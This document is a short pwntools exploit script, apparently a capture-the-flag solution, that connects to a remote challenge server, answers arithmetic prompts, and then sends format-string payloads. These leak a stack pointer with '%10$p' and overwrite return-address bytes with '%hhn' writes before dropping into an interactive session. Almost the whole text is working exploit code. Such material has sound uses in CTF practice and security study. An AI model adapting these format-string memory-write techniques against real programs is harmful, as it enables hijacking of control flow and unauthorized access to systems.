1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| from pwn import * context.log_level="debug" p=remote("ctf.v50to.cc",10286) #p=process("./fmt") for i in range(5): p.recvuntil("what's ") a = p.recvuntil(" add ")[:-4] b = p.recvuntil("\n")[:-1] c = int(a) + int(b) print(c) p.sendline(str(c)) p.sendlineafter("Cherish it",b'1') fmt=b"%10$p^" p.sendlineafter("Input:",fmt) p.recvuntil(":") ebp=int(p.recvuntil("^")[:-1],16) sleep(1) ret_game_addr=ebp+8 a=ret_game_addr%0x100 print(a)
p.sendlineafter("[2]leave",b'1')##weiyi=8 fmt=b"%"+str(a).encode()+b"c%10$hhn" p.sendlineafter("Input:",fmt)##ebp=10 ret=11 sleep(1)
#attach(p) p.sendlineafter("[2]leave",b'1')#ebp=14 ret=15 fmt=b"%40c%14$hhn" p.sendlineafter("Input:",fmt) p.interactive()
|